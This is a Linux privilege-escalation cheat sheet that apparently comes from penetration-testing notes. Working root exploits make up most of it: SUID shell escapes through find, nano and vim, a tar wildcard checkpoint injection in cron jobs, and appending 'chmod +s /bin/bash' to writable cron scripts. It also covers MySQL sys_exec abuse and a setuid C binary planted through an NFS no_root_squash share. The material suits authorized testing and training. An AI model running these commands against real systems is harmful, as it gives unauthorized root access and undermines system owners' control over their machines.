Programs, Jobs and Services

This section covers how to identify and exploit misconfigured programs, scheduled jobs, and services on Linux systems.

SUID/SGID Binaries

SUID (Set User ID) and SGID (Set Group ID) binaries run with the privileges of the file owner/group.

Finding SUID/SGID Binaries

# Find SUID binaries
find / -type f -perm -4000 -ls 2>/dev/null

# Find SGID binaries
find / -type f -perm -2000 -ls 2>/dev/null

# Find both SUID and SGID binaries
find / -type f -perm -u=s,g=s -ls 2>/dev/null

Common SUID Binaries to Look For

  • sudo

  • su

  • passwd

  • newgrp

  • gpasswd

  • chsh

  • at

  • mount

  • umount

  • pkexec

  • find

  • nano

  • vim

  • bash

Exploiting SUID Binaries

Using GTFOBins

Always check GTFOBins (https://gtfobins.github.io/) for known ways to exploit common Linux binaries.

Examples:

  1. Using find with SUID:

find . -exec /bin/sh -p \; -quit

  1. Using nano with SUID:

nano
^R^X
reset; sh 1>&0 2>&0

  1. Using vim with SUID:

vim -c ':shell'

Cron Jobs

Cron jobs are scheduled tasks that run automatically at specified intervals.

Finding Cron Jobs

# System-wide cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.monthly/
ls -la /etc/cron.weekly/

# User cron jobs
crontab -l

Exploiting Cron Jobs

  1. Look for writable scripts executed by cron:

find /etc/cron* -type f -writable

  1. Check for wildcards in cron jobs (command injection):

# If cron job uses tar with wildcards (e.g., tar czf /backup/*.tar /var/www/*)
cd /var/www/
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh exploit.sh"
# Wait for cron to execute
/tmp/bash -p

  1. Example of injecting into a cron job script:

# If you find a writable script run by root in cron
echo 'chmod +s /bin/bash' >> /path/to/writable_cron_script.sh
# Wait for cron to execute
/bin/bash -p

Services

Identifying Running Services

# List running services
ps aux
service --status-all
systemctl list-units --type=service

# Check specific service status
service apache2 status

Service Misconfigurations

  1. Check for writable service files:

find /etc/systemd/system -writable
find /lib/systemd/system -writable
find /usr/lib/systemd/system -writable

  1. Check for writable service executables:

systemctl status service_name
# Note the path of the executable from the output
ls -la /path/to/service_binary

MySQL Running as Root

If MySQL is running as root, it can be exploited:

mysql -u root -p
# After logging in
SELECT sys_exec('chmod +s /bin/bash');
exit
/bin/bash -p

NFS Shares

Network File System (NFS) shares can be exploited if misconfigured.

Identifying NFS Shares

# On the target
cat /etc/exports
showmount -e localhost

# From another machine
showmount -e target_ip

Exploiting no_root_squash

If a share has the no_root_squash option, you can create SUID binaries on it:

# From attacker machine (as root)
mkdir /tmp/nfs
mount -t nfs target_ip:/vulnerable/share /tmp/nfs
cd /tmp/nfs
cat > exploit.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
EOF
gcc exploit.c -o exploit
chmod +s exploit
# Now on the target, execute /vulnerable/share/exploit

Additional Resources

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